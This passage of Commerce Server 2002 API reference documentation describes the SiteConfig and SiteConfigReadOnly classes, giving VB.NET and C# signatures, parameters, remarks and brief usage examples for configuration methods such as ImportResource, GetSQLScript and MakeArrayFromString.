Use this method to write the specified resource, resource properties, and attributes to the specified file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub ExportResource(
  bstrResourceName As String,
  bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void ExportResource(
  string bstrResourceName,
  string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the resource name.
bstrFileName
A String that contains the destination file name for the resource export.
[C#]
bstrResourceName
A string that contains the resource name.
bstrFileName
A string that contains the destination file name for the resource export.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method and the ImportResource method are complements of each other. This method creates the file that ImportResource consumes.

[Visual Basic .NET]

Example

' sMyResource and sMyFileName.txt are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ExportResource(sMyResource, sMyFileName.txt)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetAppsInSite Method (PIA)

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetAppsInSite(
  ByRef strSiteName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetAppsInSite(
  ref string strSiteName
);

Parameters

[Visual Basic .NET]
strSiteName
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
[C#]
strSiteName
A string that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the list of Commerce Server 2002 applications.

[C#] This method returns an object containing the list of Commerce Server 2002 applications.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oObject is an Object
' oSiteConfig is a Commerce SiteConfig object
oObject = oSiteConfig.GetAppsInSite(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into the appropriate object, such as a SimpleList object or System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oSiteConfig is a Commerce SiteConfig object
oObject = oSiteConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetResourcePropAttrib Method (PIA)

Use this method to get a Dictionary object of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop;
using Microsoft.CommerceServer.Interop.Configuration;
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to an object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] An object that implements the Microsoft.CommerceServer.Interop.IDictionary interface, used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oSiteConfig is a Commerce SiteConfig object
dDict = _
oSiteConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetSQLScript Method (PIA)

Use this method to get the specified SQL script file from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetSQLScript(
  sResource As String,
  sScriptName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetSQLScript(
  string sResource,
  string sScriptName
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the resource associated with the required SQL script file.
sScriptName
A String that contains the file name of the required SQL script file.
[C#]
sResource
A string that contains the resource associated with the required SQL script file.
sScriptName
A string that contains the file name of the required SQL script file.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the SQL script file contents.

[C#] A string containing the SQL script file contents.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMyCatalog is an existing resource
' sMySQLFileName.sql and sContents are strings
' oSiteConfig is a Commerce SiteConfig object
sContents = oSiteConfig.GetSQLScript(sMyCatalog, sMySQLFileName.sql)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.ImportResource Method (PIA)

Use this method to read the specified resource, resource properties, and attributes from the specified file, and write them to the Commerce Server 2002 database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub ImportResource(
  bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void ImportResource(
  string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the file name.
[C#]
bstrFileName
A string that contains the file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method is the complement of the ExportResource method. It consumes the file that ExportResource creates.

[Visual Basic .NET]

Example

' sMyFileName is a string
sMyFileName = "C:\ExportedFile.txt"
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ImportResource(sMyFileName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.Initialize Method (PIA)

Use this method to load the site configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.Initialize(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeArrayFromSimpleList Method (PIA)

[Visual Basic .NET] Use this method to convert the specified SimpleList object into an Array.

[C#] Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList object that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oMyObject = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object used to return the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string
' read from the Fields property
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oArray = oSiteConfigReadOnly.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the SimpleList object to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyArray is an Object
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object used to hold the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oEncoded = oSiteConfigReadOnly.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string that can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Return Values

This method returns the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays, SimpleLists, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.PutSQLScript Method (PIA)

Use this method to put the specified SQL script file into the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub PutSQLScript(
  sResource As String,
  sScriptName As String,
  sScriptContents As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void PutSQLScript(
  string sResource,
  string sScriptName,
  string sScriptContents
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the name of the resource associated with the SQL script file.
sScriptName
A String that contains the name of the SQL script file.
sScriptContents
A String that contains the SQL script file contents.
[C#]
sResource
A string that contains the name of the resource associated with the SQL script file.
sScriptName
A string that contains the name of the SQL script file.
sScriptContents
A string that contains the SQL script file contents.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySQLFileName.sql, sMyRes and sMyContents are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.PutSQLScript(sMyRes, "sMySQLFileName.sql" ,sMyContents )

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.SaveConfig Method (PIA)

Use this method to save any site configuration settings that have been changed or updated.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method saves the entire configuration for a site. If two users are trying to update different parts of the site configuration at the same time, the last one to save will overwrite the changes made by the first user updating the site configuration.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-only.


SiteConfig.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields object contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }

Property Value

This property returns a collection of ADO26DBLib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfigReadOnly Class (PIA)

Use this object to load site configuration information from the Administration database.

Methods

Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration settings of the site and the site resources. This property is read-only.

Remarks

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, with the SiteConfig object, only references to the names of the resources are returned.

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

Configuration Objects

Integrating Custom Resources

GlobalConfig Class

SiteConfig Class


SiteConfigReadOnly Methods (PIA)

Methods

Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.


SiteConfigReadOnly.GetAppsInSite Method (PIA)

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetAppsInSite(
  ByRef strSiteName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object GetAppsInSite(
  ref string strSiteName
);

Parameters

[Visual Basic .NET]
strSiteName
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
[C#]
strSiteName
A string that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the list of Commerce Server 2002 applications.

[C#] This method returns an object containing the list of Commerce Server 2002 applications.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySiteName is a String
' oObject is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oObject = oSiteConfigReadOnly.GetAppsInSite(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oObject = oSiteConfigReadOnly.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.Initialize Method (PIA)

Use this method to load the site configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
void Initialize(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before the object can be used.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oSiteConfigReadOnly.Initialize(sMySiteName)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
The object reference to the SimpleList object that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oMyObject = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object used to return the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string
‘ read from the Fields property
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oArray = oSiteConfigReadOnly.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the SimpleList object to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyArray is an Object
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object used to hold the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

